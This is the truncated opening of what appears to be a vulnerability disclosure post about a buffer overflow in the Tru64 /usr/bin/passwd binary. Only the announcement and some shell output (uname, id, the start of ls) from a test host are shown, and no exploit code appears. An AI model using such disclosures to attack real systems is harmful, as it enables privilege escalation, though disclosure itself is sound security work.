TRU64 /usr/bin/passwd overflow

In light of the recent conversations on the non-executable stack I have decided to release some of the information I have been sitting on. alpha.snosoft.com uname -a OSF1 alpha.snosoft.com V5.1 732 alpha alpha.snosoft.com id uid=201dotslash gid=15users groups=0system alpha.snosoft.com ls -al...